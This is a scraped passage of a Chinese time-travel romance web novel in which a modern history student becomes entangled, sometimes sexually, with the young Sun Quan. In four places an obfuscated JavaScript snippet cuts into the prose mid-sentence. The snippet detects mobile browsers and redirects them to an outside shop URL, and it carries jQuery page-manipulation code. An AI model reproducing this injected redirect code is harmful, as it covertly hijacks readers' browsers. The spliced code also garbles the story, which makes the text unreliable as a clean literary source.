男子正微微俯身,侧耳倾听那女子说话,眉宇间是她步一乔陌生的专注与温和。那女子抬手用绢帕拭了拭眼角,男子轻轻笑着,柔声安慰。 步一乔的智商属于时而在线逻辑超群,时而掉线失了智跟傻子似的。 背不清时间线是她在学术方面的致命伤,容易被什么冲昏头脑,便是她人生几十年最严重的致命伤。 此刻,理智的弦“啪”一声就断了。一股酸涩夹杂着怒意的热流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16467251|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直冲头顶,让她四肢都有些发麻。 她只能用力握紧堆叠在掌心的长袖,睁睁看着眼前正上演的场面。 那女子将一支看似贵重的玉簪递向男子,他迟疑片刻,竟伸手接了过去。 “仲谋觉得此簪如何?” 事件的主人公正要启齿回答,感知到一道似要烧穿背影的目光,蓦然回首,正正好落入步一乔冰冷又灼热的眼眸中。 “你……” 孙权唇瓣微张,像是白日里撞见了不该存在的幻影。 他望着她,眼神里翻涌着难以置信的震惊。那一瞬,他喉头哽咽,眼底竟不受控制地泛起一层薄红与湿润。 步一乔气呼呼的。 老娘整日被他搞得神经叨叨的,这厮居然在大路上撩妹! 心头火起,她转身就走。 “一乔!”孙权喊出她的名字。 她回来了。 孙权快步追上,在熙攘的人流中一把攥住她的手腕。步一乔挣了挣,腕骨生疼,却敌不过他近乎失控的力气。 “你别走,听我解释!那位是——” “是徐夫人。”步一乔截断他的话。 孙权点头解释:“她是孙氏的——” “亲戚。她的祖父徐真,是孙坚将军的妹夫,你姑母的孙女,算是你的长辈。”步一乔语速极快,字字清晰。 孙权顿了顿,低声道:“是……她丈夫刚去世,此番是来吴郡——” “你要娶她。” “……什么?”孙权怔住,眼中尽是茫然。 步一乔冷着脸,一字一顿:“你看上她了。” 是陈述句,非常肯定的陈述句。 孙权茫然地注视着步一乔毫无波澜的双眸,不明白她为何说出这等话。 渐渐地,内心烦闷,嘴唇颤抖着,有什么汹涌之言即将冲破喉咙。 步一乔瞧出了他正压抑着什么,得施加点压力让他说出来。否则,自己心里也不痛快。 “两全其美,不是吗?” “你这是何意?” “反正我与伯符成亲,若你与徐夫人喜结连理,岂不双喜临门?” 孙权眼底一痛,声音沙哑:“你是故意激我?” “不,我只是在陈述事实。” 步一乔垂眸,冷冷看向他紧攥自己的手。 “松开我。” “你生气了,我不松。”孙权固执地回应,非但没松,反而握得更紧。 “不松我就打你。”步一乔扬起另一只自由的手,作势要挥下。 “打吧。” 他竟然把脸往前凑了凑,闭紧了眼睛,一副豁出去任打任骂的模样。 步一乔看着他这副无赖的样子,气得胸口起伏,扬起的手最终没能落下,只化作一声压抑着怒火的低斥: “……孙权你是不是有病!” 孙权这才缓缓睁开眼,却依旧不敢直视她喷火的双眸,视线飘忽地落在旁边的货摊上,声音闷闷的。 “你都生气了,我如何松开?” “你他——就是你把我惹生气的!你什么脑子!” 她用力想抽回手,手腕都被捏出了一圈红痕。 周围投来的好奇目光,毕竟吴郡无人不识他孙仲谋。未来的徐夫人站在不远处,茫然地看着拉扯的二人。 “此处是大街上,我们先回家。”孙权试图缓和局面,拉着她想往人少的地方去。 “回你大爷啊!别搞得我跟你是两口子似的,我不就跟你睡——” 步一乔的理智瞬间回归,取而代之的是瞬间爆红的脸和耳根。 这一次,不知是孙权被她脱口而出的话惊得失了力道,还是她羞愤之下爆发了惊人的力量,竟然真的挣脱了。 她连连后退几步,似要与他划清界限。 “别让我再单独看到你。” 孙权又想追上来,步一乔忽地转身,抬手指着孙权的鼻子。 “搞清楚孙权,我是你嫂嫂。” 17. 踏春痕 “仲谋,那人是……?”徐姑娘上前走到孙权身侧,温软询问。 孙权恍若未闻,盯着大步远去的背影,沉声道:“失陪,有要事需处置。” “何事如此急迫?”徐姑娘黛眉微蹙,眼底漫上担忧。 孙权未及回答,已转身疾步追去。徐姑娘略一迟疑,也提起裙裾跟了上去。 巷深幽暗,步一乔正欲对着斑驳砖墙宣泄满腔悲愤,忽闻身后脚步急促。还未及反应,一只温热有力的手已猛地攥住她纤细的小臂,一股不容抗拒的力量将她向后拉去。 天旋地转间,脊背撞上冰冷坚硬的墙壁,而他高大的身影已笼罩下来,将她困于方寸之间。 她怒目而视,眼中如有烈焰燃烧。孙权垂眸,眉头几不可察地一蹙,眼底却是一片沉静。 “又说这等话……你不是我嫂嫂。” 步一乔强压着翻涌的情绪,冷笑:“板上钉钉之事。” 孙权沉着别开脸,冷声:“我不认。” 三个字如同火上浇油。 步一乔齿尖咬紧。 “孙权,你知道现在孙家院子里有谁吗?谢姑娘。吴夫人叫来的。” 孙权瞬间明白了她接下来要说的话。他转回视线,那双失去光彩的眸子静静映出自己的面容。 “你知道吴夫人为何邀她来吗?为了你们的婚事。” 孙权欲言,步一乔却不容他打断。 “那是你的发妻。你孙权此生明媒正娶的第一位夫人。她姓谢。” 说着,她的目光越过孙权,落在他身后站在巷口那位格外醒目的女子身上。徐夫人确实姿容出众,难怪历史上孙权不顾礼法也要迎娶。 那才是他的审美,自己不过少年青春期恰好遇到的错误的人。 “第二位,便是你方才谈笑之人,徐夫人。” 步一乔沉了沉眸子,再抬眸时,眼里是决绝。 “你想知道第三位、第四位、第五位吗?” 不等回应,她已逐一道来。 “我告诉你。淮阴的步夫人,琅邪的王夫人,南阳的王夫人,句章的潘夫人,袁术之女袁夫人……你还想听吗?” 步一乔终于给到孙权说话的机会,目光如刀般刮过他波澜不惊的脸。 孙权沉声道:“我只想听到你的名字。” “没有我。”步一乔冷着脸道,“你余生的五十年,与我毫无干系。” “有干系。” 说罢,孙权拉住步一乔的手,转身欲走。 “你干嘛?”步一乔挣扎着,手腕被他攥得生疼。 “跟我去见母亲。”他头也不回,步履坚定。 “见吴夫人做什么?孙权你松手!” “去求母亲,取消我与谢氏的婚约,取消你与兄长的婚事,而后……” 他倏然停步,转身目光坚定地凝视着她 “我娶你。” 步一乔猛地抽回手,用尽全身力气,一个耳光清脆地掴在他脸上。 孙权脸偏向一侧,颊上瞬间浮现红痕。他早习惯了,缓缓转回脸,目光沉静地凝望着她。 “老娘不喜欢你。”咬碎了牙说出口的话里带着哭腔,眼里含着泪。 孙权扬起红肿的脸,怕她有怒气之下跑走,忽地抓住她的手臂。 “我心悦与你。从初见起,时至今日、此时、此刻。” 指尖陷入她紧绷的小臂肌肉。 “我不会娶谢氏,也不会娶徐氏。此生惟愿与你结发为夫妻。” “呵!”步一乔直接气笑了,“大庭广众之下,我看得一清二楚,你还说得出这等话?你良心不痛吗?” “我问心无愧。”他坦然回答。 “好一个问心无愧。我可太了解你是个什么样的人了,什么只愿跟我在一起,你干的事,几百几千几万年以后的人都知道!” 她越说越激动,胸口剧烈起伏。自眼前的人死在自己怀中后,所有的委屈、愤怒、不甘和深埋心底的恐惧,在这一刻彻底爆发。 孙权只是静静地看着步一乔,任由她将所有的委屈尽数泼洒出来。他清楚她为何如此,心甘情愿受着。 直到步一乔说得眼圈发红,只再多一句,就会崩溃大哭,孙权才缓缓上前一步,握住了步一乔微微发抖的手。 阴影压下,强大的气场让周遭的气温骤降。 步一乔第一次见到如此威武霸气的孙权。仿佛此刻她眼前的人不是十七岁的少年,而是数年后的吴王。 他的手掌温暖而干燥,带着习武之人特有的薄茧,完全包裹住她冰凉的指尖。 “你要我怎么做,才肯消气?” 他声音低沉且温柔,带着前所未有的耐心与温柔,甚至是恳求。 步一乔想抽回手,却被他握得更紧。只好偏过头,不去看他。 “你欺负我……我不会消气的。” “你会的。告诉我办法,好不好?” “……老娘讨厌你。” “嗯,我心悦你。”他应着,目光缱绻。 步一乔委屈更甚,一拳砸在孙权小腹上。 “神经……我就不该多管闲事回来!反正人迟早是个死,我就……” 越说越生气,索性不说了。步一乔抿着唇埋下脸,揉揉鼻尖冷静下来。 “嗯。”孙权的拇指轻轻摩挲着她的手背,“知你心里有我,便足够了。” “有个屁!自作多情!” 咒骂完,步一乔终于败下阵来,所有的尖锐在这一刻土崩瓦解。她极轻极轻地,几乎微不可闻地说: “今晚……你到我房里来。” 孙权深邃的眼底骤然掠过一道亮光,如同暗夜划过的流星。他凝视着她泛红的耳尖,没有任何犹豫,轻笑着沉声应道: “好。” * 膝盖强势地顶入他双腿之间,步一乔不耐烦地啧了声,沿着孙权的腰摸了一转,找到系带处一拉,碍事碍眼的裙罩簌簌垂落。 “我定是中了你的咒,脑子崩坍了才做出这等大逆不道之事。” 孙权温柔地将她鬓边散乱的发丝别至耳后,指腹不经意擦过她滚烫的耳垂。 “若是两情相悦,何来大逆不道?” “谁跟你两情相悦了!老娘前半生的半数光阴,喜欢的从来只有一个人。” 他动作微微一顿,“……是兄长?” 步一乔顿住,而后一拳砸在孙权紧实的腹肌上。 “都怪你,坏了我的好事。若是没有你,我与伯符早该成亲,孩子都有了!” 窒息的沉默在紧闭门窗的厢房内蔓延开来,封住了在场人的嘴巴,心绪复杂。 步一乔感觉什么软下去,后知后觉察觉到自己说错了话,从他上方起开,坐在床榻边无力地驼着背。 “罢了……突然没兴致了,你回房歇息吧。” 孙权坐起身,不去拉自己的衣襟,反而拉住步一乔的手。 “既深情于兄长,为何又与我几次三番偷欢亲密?” 孙权的声音稳稳地落在她的心上,略微带着委屈。此时的步一乔看不到他的脸,也没办法像往常一样说些拙劣的话调节气氛、缓和心情。 “我不知道……你别问我……”她试图抽手,却被他握得更紧。 “你分明知晓的。” “我他妈不知道!别问我!” 步一乔抽出手,走到窗边背对于他。 孙权从身后靠近,双臂缓缓环住她瘦削的身躯。温热的胸膛贴住她冰凉颤抖的脊背,收紧手臂,贴得更紧些。 “别哭。别哭。”他叹息般低语。 同样的字,同样的话,步一乔想起了初夜,却没想起时间错乱。 步一乔猛地挣开他,转身揪着他的衣襟逼视他,怒骂道:“我他妈就是个贱人,可以了吧!沾花惹草、玩弄感情的垃圾,可以了吗!被你搞得神经兮兮,说不救你,老娘还是回来了!干啥都能想起你,你满意了吧!” 她用力推开他,满脸泪痕纵横。 “我就不该多管闲事!那日街上碰到你,转身走了便是!何必杵在那儿心里翻江倒海……”声音渐渐哽咽,“老娘喜欢的是孙策!不是你……绝对不是你……” 从那场春梦后,一直是孙策,绝不是他孙仲谋。 尾音渐弱,步一乔抽噎到再说不出一个字。 孙权怔愣片刻,似乎笑了。他低下头,肩头轻微颤动,最终竟露出一个似哭似笑的表情。 “还说不是两情相悦,嘴硬。” 他伸手,指背轻轻蹭过她湿漉的脸颊,掌轮擦去眼泪。 步一乔攥紧拳,随他借着擦眼泪,将自己的脸揉了个遍。 “不是!我和你不准用这个词!要用也是我和伯——” 未完的话语被骤然拉入的拥抱打断。孙权的手臂如铁箍般紧紧环住她,下颌抵在她发顶,一遍遍唤着她的名字。 “步一乔……一乔……我好想你啊。” 时年二十一岁的步一乔不常当着人的面痛哭,顶多偷偷掉掉眼泪,或者用暴力发泄。 但是现在,她却在一个说不上感情的男人怀中抽噎得惊天动地。 死而复生的感慨,终于尽数倾诉。 “我……我他妈一点都不想你……”攀附在他后背的手攥紧,脸深埋进他的胸膛,“我一点也不想你……就该让你死了……死了多好……” “嗯。”他轻轻抚摸着她的头发,“死了,你就再也见不到我了。是吗?” 步一乔在他怀中僵住,良久,才极轻极轻地应了一声:“……嗯。” “可我想见你。”他的唇贴在她耳畔,气息温热,“每日每夜,每时每刻,都想见你。” 说完,不等她反应,孙权忽然俯身将她打横抱起。 “啊!”步一乔惊呼着搂住他的脖颈,脸上挂满狼狈,“你干嘛!放我下去!” 他却笑着置若罔闻,抱着她稳步走向床榻。 步一乔索性将发烫的脸颊埋进他颈窝,嗅着他身上清冽气息,之前所有的酸涩、委屈,竟奇异地被一种更汹涌的情愫取代。 她悄悄攥紧了他的衣襟,心底那点酸溜溜的醋意,终究化成了眼角眉梢藏不住的弧度。 “我肯定是脑子出问题了……”她喃喃自语。 究竟是从何时开始的?是野花谷中他笨拙的试探?还是地牢初遇时那个脸颊泛红的少年? 抑或是…… 某个连自己都未曾察觉的时刻,情根早已深种? * 孙权将她轻柔地置于被褥之上,步一乔陷入柔软间,眸光水润,颊染绯色,细微的颤抖泄露着她内心的不平静。 更多的,是对接下来所做之事的期待。 他并未急于靠近,只是半跪在榻边,深邃的目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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唇齿间不时发出意乱情迷的闷哼,步一乔知道是自己,但控制不住,反而愈发放肆。 “孙……孙权……”她沙哑着嗓子呼唤着。 孙权稍稍起身,注视着那双同样注视自己的迷离眼眸。 “想听仲谋。” “……”步一乔愣着,沉默着,“孙qu——” “嗯?” 极具威慑的警告,连同擦过步一乔脖颈耳后的手,弄得人不得不投降。 “孙……仲谋……” 孙权特别满意,浅笑着回应:“嗯,一乔。” 衣衫不知何时已松散,微凉的空气触及肌肤,让步一乔轻轻一颤。孙权立刻察觉,拉过一旁的锦被将两人裹住。 被褥之下,他的手掌温热干燥,带着习武之人的薄茧,又似文人雅士的柔和,在她脊背上缓缓游移,带来一阵阵令人心悸的触感。 “仲……孙仲谋……痒……” 步一乔将发烫的脸埋在他颈窝,感受着他颈动脉有力的搏动,与自己狂乱的心跳交织成不和谐的曲目。所有的言语都显得多余,此刻唯有彼此的温度和气息是最真实的依靠。 “一乔,你看我,看着我。”他低声诱哄,声音含混而性感。 步一乔犹豫片刻,终是怯怯地抬眸,撞进他那双深不见底的眼里。 那里不再是平日的冷静自持,而是翻滚着浓烈的情愫,如同暗涌的漩涡,几乎要将她吸溺其中。 她看到那清晰的瞳孔里,映着一个小小的、面色潮红的自己…… 步一乔倒吸了口气,屏住呼吸,脸烧得更厉害。 像在看什么自己主演的小电影…… 孙权低下头,额抵着她的额,鼻尖相触,呼吸可闻。 “此生与你说的每一句、每一个字,皆是真心。”他一字一句,郑重如同起誓,“我孙仲谋,绝不负步一乔。此生,惟愿娶你为妻,只你一人。” 步一乔没有回答,只伸出微微颤抖的手臂,环住他的脖颈,用行动代替了所有言语。 濡湿的唇含住对方,舌尖纠缠碰撞。 窗外风雪肆虐,窗内春意悄融,唯闻彼此交织的呼吸与心跳声,诉说着情到浓时,无需言表的缱绻与承诺。 * 孙权看着怀中人呢喃着睡得安稳。 步一乔呢喃着翻了个身,纤细的手臂无意识地搭在他胸前,整个人蜷缩在他的臂弯。两个人一起裹紧了被子,步一乔体温低,尤其那双脚,跟光了脚去外面走了一遭似的,冰得人彻骨,孙权只好用自己的双脚捂住她的,好让她快点暖和起来。 思绪不知不觉飘荡回与她的初见。 道不清,那该是即将到来的未来,还是已然逝去的过往。 与她相关的事,总是扑朔迷离。 有时就像睡着了,如同沉入一场大梦,时序颠倒,记忆交错。唯独清晰不变的,是穿梭在这段错乱光阴里,始终与他羁绊纠缠的,唯有怀中这个人。 他俯下身,温热的唇轻轻贴上她的额角。 “一乔……你为何独独忘了呢?天上掉下个乔妹妹……呵,当时还以为,你是从一旁的坟墓中爬出来的呢。地牢的棺椁、山野的墓碑……你为何总出现在这些生死交界的地方?那是你逃离到另一片天地的通道吗?” 久远的记忆应声而来。孙权沉下眸子,盯着步一乔微动的唇瓣。而后,他缓缓低头,将一个轻柔的吻印在她的唇上。 “于你而言,那个骗你至我房中的夜,才是初夜吗?” 夜色沉寂,唯有她的呼吸轻柔作答。他闭上眼,忆起她曾在意乱情迷时说过的话,拉长叹息。 “是两年后吗。你告诉我的。时为建安七年……山野蔓蔓,那才是你我的初遇啊。” 18. 清醒梦境 大四那年的国庆假期,步一乔回老家给先祖扫墓。顺便从备考状态中出来,散散心。 “祖宗保佑,两个月后的考试,让我一次性上岸吧!” 纸钱的灰烬上还有火星子,步妈突然想起什么,跟孩她爹说:“得回老房子一趟,有个包裹忘了拿。” 步一乔一听心都死了,立刻耍起赖来。她顺势往旁边墓碑的水泥基座上一坐,整个人像没了骨头:“你们去吧,我就在这儿等着。来回还得走四十分钟,我实在走不动了。” 步爸皱眉:“当代大学生就你这样吗?这荒山野岭的,你一个人……” “没事儿,”步一乔打断他,指了指周围的坟茔,“这么多‘邻居’陪着呢。” 步妈冷哼一声:“你倒是会找地方歇。林子里草深,小心有蛇。” “知道啦,我就在这水泥台上坐着,绝对不乱跑。”步一乔信誓旦旦地保证。 看着父母的身影消失在蜿蜒的山路尽头,步一乔长长地舒了口气。 她打了个巨大的哈欠,眼泪都挤了出来。果然被妈妈说中了,她是真不挑地方,只要困意上来,墓碑旁也能当沙发。 “就眯一会儿,”她小声嘀咕,找了个相对舒服的姿势,盘腿坐在水泥平台上,用手支着脑袋,“他们回来会叫醒我的……” 害怕草丛里真有什么长虫,她没敢往草深的地方去。就着这片被太阳晒得暖洋洋的水泥地,眼皮渐渐沉了下来。 越来越沉…… 意识像沉入温水,缓缓下坠。直到某种尖锐的光点刺破黑暗,在眼皮底下疯狂闪烁,伴随着强烈的眩晕和恶心感,硬生生将她拽回清醒。 步一乔以为是被人随意丢弃的镜子反光,不耐烦地睁开眼。 下一秒,她彻底僵住了。 坟堆呢?水泥台呢?那些熟悉的墓碑和松柏都消失了。 “……梦?” 她喃喃自语,挣扎着坐起身。触手所及是潮湿的泥土和冰凉的露水,环顾四周,是全然陌生的山林,树木高大得惊人。 她攀上最近的高坡。远处山坳里,几缕纤细的炊烟正袅袅升起。 那是一个只有十几户人家的小村落,清一色的低矮土坯茅屋。几个农人正在田间劳作,地里种着她不认识的谷物。他们的衣服是粗糙的麻布,颜色灰扑扑的。 她竖起耳朵,捕捉到田埂边两个歇脚老农的对话。口音晦涩古朴,带着明显的吴地腔调,但连蒙带猜,勉强能懂: 农人甲:“……这仗到底什么时候是个头啊?” 农人乙:“唉,听说北边那位‘四世三公’的袁大将军,上个月人没了!” 农人甲:“啊?就是跟曹司空打了好几年的那个?这下河北怕是要乱套了!” “袁大将军”……“曹司空”……“官渡”……“人没了”?! 作为历史系即将考研的人,步一乔瞬间想到了官渡之战,想到了袁绍曹操,河北易主。袁绍正是在官渡之战后两年,公元202年病逝! 难道…… 为了确认,她冒险绕到村后,发现一座半旧的小土地庙,庙前有一块记录修缮经过的石碑。她拂去尘土,艰难地辨认着上面的隶书:“……建安五年,乡人共筑……” 石碑是两年前立的!建安五年加上两年,正好是建安七年! 步一乔她靠坐在山野间一棵树下,心脏狂跳。 “哇……我……我这梦……咋还……穿越了??” * 步一乔背靠着粗糙的树干,整个人被“建安七年”这个认知冲击得七荤八素。她用力掐了一把自己的胳膊,嘶——还真有点疼。 “疯了,绝对是学历史学魔怔了……”她揉着胳膊,自言自语地吐槽,“做个梦都这么考据派,连年号碑文都给我安排上了?这梦境素材库也太硬核了。” 她正哭笑不得地感慨自己这“日有所思,夜有所梦”的离谱程度,忽然,头顶传来一阵窸窣声响。 还没等她抬头,只听“咔嚓”一声脆响,伴随着一声压抑的闷哼,一个身影竟直直从茂密的树冠中跌落下来,“嘭”地一声,结结实实摔在她面前不远处,溅起些许尘土。 步一乔吓得一个激灵,瞬间弹开半步,定睛看去。 身着锦袍的少年,看年纪约莫与自己相仿。虽摔得有些狼狈,却难掩其通身的气度。他墨发以玉冠高束,面庞轮廓分明,眉眼深邃,此刻正因吃痛而微微蹙眉,反而添了几分生动。 最吸引步一乔的,是他那双眼睛。 少年抬眸看向她时,眼中先是闪过一丝惊愕与警惕,随即像是被她的出现所惑,警惕化为了某种难以言喻的探究与好奇。那双眸子亮得惊人,仿佛盛着江南的春水,又藏着未出鞘的剑锋。 步一乔的心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16467253|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脏,没来由地“咚”地漏跳了一拍。 “完了完了,”她心里哀嚎,“我已经饿到这种地步了吗?这颜值,这建模水平,放游戏里得是SSR级攻略男主了吧?” 少年挣扎着站起身,动作间带着习武之人的利落。他拍了拍衣袍上的尘土,目光却始终没有离开身着怪异的姑娘。 步一乔见他似乎没有恶意,胆子也大了起来。反正是梦,何必拘谨?她甚至觉得,这一定是自己潜意识里对三国帅哥的向往具象化了。 于是,她清了清嗓子,试图用轻松的语气打破这诡异的沉默:“喂,这位……少侠?公子?你这出场方式挺别致啊,天上掉下个林妹妹我见过,掉下个帅哥哥还是头一回。” 少年闻言,微微一怔,似乎没完全听懂她的现代用语,但“帅哥哥”这个词的大致含义和她那带着笑意的眼神,让他瞬间明白了这是在调侃他。脸上掠过一丝极淡的红晕,非但没有恼怒,眼底反而漾开一抹浅淡的笑意,抱拳一礼,声音清朗如玉磬: “惊扰了姑娘,实在抱歉。姑娘也是迷路至此吗?” 他的声音和他的人一样,带着一种奇特的磁性,敲在步一乔的心尖上。 似林深有鹿来,怦然心动。 “迷、路??”步一乔挑眉,指了指茂密的树冠,“从树上迷下来的吗?” 少年脸上闪过一丝极淡的尴尬,随即镇定自若地拂去裙罩上的落叶:“在下的马受惊跑丢了,方才在树上是为了眺望寻马。” 步一乔将信将疑,但被他故作镇定的模样逗笑了。阳光透过枝叶的缝隙落在他身上,将他挺拔的身形勾勒出一圈柔和的光晕。 那一瞬间,步一乔莫名觉得,这个突然出现的“梦中人”格外顺眼。 “那你找到你的马了吗?”她故意问道。 男子摇了摇头,目光却不离她左右:“姑娘为何独自在此?这荒山野岭……” “我说我是从天上掉下来的,你信吗?”步一乔半开玩笑地说。 可话一出口,她忽然意识到某种不对劲。 这对话模式、这场意外邂逅……怎么那么像某些文字游戏里的选项触发环节? “选错了,走向也就不对了?问问NPC,不算作弊吧?反正也是我的梦。” 于是她鼓起勇气发问:“请问公子,若我说……想与你春宵一度,又该如何作答?” 19. 山野煮雨 “春宵一度?!” 孙权整个人僵在原地,脸上写满了难以置信的震惊。脸颊、耳根乃至脖颈,以肉眼可见的速度迅速烧红,张了张嘴,却没能发出任何音节。 步一乔将他这剧烈的反应尽收眼底,心中那点因梦境而生出的恶趣味得到了极大的满足。 她非但不退,反而向前逼近一步,仰头看着孙权失措的样子,笑得更狡黠了。 “怎么?公子还没回答我的问题呢。这‘春宵一度’,究竟是‘可度’,还是‘不可度’啊?” 她的气息若有似无地拂过孙权滚烫的皮肤。 孙权猛地向后撤了一步,下意识地抬手隔在两人之间。 他自幼习武,经历过沙场雏形,却从未遇到过如此……如此不按常理出牌的局面。 理智告诉他应当厉声斥责这荒唐之言,可对上她那双清澈又带着戏谑笑意的眼睛,斥责的话却卡在喉间,一个字也吐不出来。 甚至内心深处有声音在叫嚣,命他掌控主权。 “姑、姑娘……请自重!”他好不容易找回自己的声音和理智,却毫无平日里的威仪。 “自重?”步一乔挑眉,又逼近一步,几乎要踩到他的裙袍下摆,“这里天为帐,地为席,只有你和我。再说了——”她故意拖长了语调,目光在他通红的脸上流转,“是你突然从天上掉到我面前的,惊扰了我,难道不该……有所表示吗?” 她的话逻辑古怪,却是不容置疑的强势。孙权被她逼得连连后退,脚跟不慎绊到一块凸起的树根,身形一个趔趄。步一乔眼疾手快,一把抓住了他的手腕。 肌肤相触的瞬间,两人俱是一震。 孙权只觉得手腕处传来温热细腻的触感,瞬间窜遍全身,让他半边身子都有些发麻。他想挣脱,却发现那纤细的手指异常有力,牢牢地箍着他。 步一乔看着他近在咫尺的、写满了惊慌与无措的俊脸,漂亮的眼睛里水光潋滟,竟让她生出一种自己在“欺负”他的错觉,而这错觉让她心底某种恶质的征服欲更加蠢蠢欲动。 “公子可得小心啊。还说……摔倒了,好办事儿?” “你!” 孙权从未与女子有过如此逾矩的接触,更何况是这般……被动的境地。 他快哭了,但兄长去世那夜,他答应了全天下,往后不会再掉一滴眼泪。 步一乔趁他心神大乱,另一只手竟大胆地抬起,指尖轻轻拂过他滚烫的耳垂,感受到他猛地一颤。她压低了声音,带着蛊惑般的意味:“公子还没回答我的问题呢?” “回、回答?回答……什么?” 孙权只觉得脑中一片空白,所有冷静自持的教养和谋略在此刻全都化为乌有。 他被困在树干与矮小的她之间,鼻尖萦绕着她身上陌生的气息,手腕和耳垂传来的触感无比清晰,攻城略地般摧毁着他的防线。 他看着她灼灼的目光,那里面没有淫邪,只有一种纯粹的好奇、玩味和不容拒绝的强势。在极度的羞窘和混乱之中,一丝连他自己都未曾察觉的、隐秘的悸动,悄然破土。 “……姑娘你……” 步一乔看着孙权彻底溃败的模样,满意地笑了。她得寸进尺地伸出双臂,环上他紧绷的脖颈,微微用力,将两人拉得贴近,不剩一丝距离。 “我是第一次,要是有哪儿不对,你帮我指出来?” “我……”孙权只觉得全身的血液都在往头顶涌,支支吾吾地,不敢看她的眼睛,“我也是……” 步一乔闻言,震惊地微微睁大了眼睛:“不能吧?男子二十岁,不该老婆孩子都有了吗。” 孙权被她直白的问题问得无地自容,下意识别开滚烫的脸,避开她探究的视线。 “因为……一些事……” “啊!我懂。因为在我潜意识里,就得是纯爱战士,喜欢一夫一妻制。所以你得是未婚未娶!不错不错,这个梦境逻辑自洽,我给满分。” 这番自说自话,孙权尚未想好如何回应,步一乔却已经开始了她的“探索”。 她不再满足于环着他的脖颈,一只手松开,好奇的指尖轻轻划过他棱角分明的下颌线。触感微凉,带着少女的柔软,如电流猝不及防地窜过孙权的脊柱,让他浑身肌肉瞬间绷紧, “你别……” “别动嘛,”步一乔娇蛮着,挑逗着,“让我看看……嗯,皮肤挺好,喉结也挺明显的……” 她的指尖顺着他的脖颈缓缓下滑,停留在微微起伏的喉结上。 孙权猛地吸了一口气,抓住她那只作乱的手腕,力道之大,让她微微蹙眉。 “姑娘!适可而吧!” 步一乔看着他眼中明显的挣扎和强装的镇定,非但没有害怕,反而觉得更有趣了。 她凑近孙权,双手捧住他的脸,不由分说吻上他的唇。 柔软的触感彻底摧毁了封建时代人的封建思想。 刹那间,万籁俱寂。 孙权所有关于礼法、规矩的桎梏,在这无法言喻的柔软香甜触感面前,土崩瓦解。 他僵在原地,甚至忘了呼吸,只能感受到唇上那陌生而温热的压力。 步一乔并未浅尝辄止。她生涩却大胆,遵循着本能,轻轻吮吸着他的下唇,试图叩开紧守的关隘。她的耐心和坚持,一点点消磨着他残存的理智。 “姑——姑娘——你——” “我叫一乔。你叫我一乔吧。” “一……一乔……” 终于,在她又一次轻柔的试探下,他紧绷的唇线不自觉地松懈开一道微不可查的缝隙。 如同得到了默许,步一乔的舌尖小心翼翼地探入,触碰到了更为灼热的禁地,唇齿之间。 这是一个完全陌生的领域,充满了男性清冽又带着一丝慌乱的气息。她生涩地探索着,恐惧却兴奋。 孙权原本抵在她腕间的手,不知何时已失去了力道。缓缓垂下,最终认命失控似的,轻轻覆上了她纤细的腰。 太瘦了…… 只是吻,便彻底搅乱一池春水。 天地之间,树冠为幔,孙权扶着她慢慢地落入柔软间,埋头吮吸她的肩头,留下一个淡淡的标记。 步一乔攀附着他的肩膀,寻找着力点。待他从肩头抬起头,不由分说含住他的下唇,贪恋着,不愿分开。 她想起了漫画上见过的一种说法:“身体契合之人,大抵是你此生的灵魂伴侣。即便再理智的人,本能的□□面前,都无法战胜。” 梦中人吗?自己的灵魂伴侣,是个梦中出现的古风男?呵,真有意思。 “照这么说,我哪怕喜欢的不是你,本能之下,也会想要靠近你啊……” 步一乔低声喃喃。而后恼羞着,跨坐在孙权腿上,掐着他的脖颈居高临下。 “不可以。” “……什么?”孙权不解。 “不可以本能胜过理智……这是不对的……” 孙权听不明白,只是看她的表情,觉得步一乔快哭了,抬起手揉捏她的脸庞。 “别哭。别哭。” 步一乔盯着那双盛满春水的眸子,酸涩翻涌,歉意上脑。 她苦笑道:“连梦都这么……活该我把自己搞得如此不堪。” 天秤座折磨人的性子,先折磨自己。 孙权不解这姑娘怎么反复无常的,但,他知道眼下该做什么。 手臂绕到步一乔的后背,孙权将她揽入怀中,靠在自己胸口处。 “你若是再不做点什么,时辰到,我可得走了。” 步一乔轻笑一声,拳头轻轻砸在他身上。 “那可不行,衣服都脱了,你给我说要走了?”她撑起身子,恢复了戏谑,“躺好,我来接你咯。” * “呼——爽。” 步一乔慵懒地扭动着身子,脸颊大胆地在他胸膛上又蹭了蹭,全然不顾礼数。 孙权被她胆大妄为的亲昵举动惊得还没缓过神来。垂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16467254|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 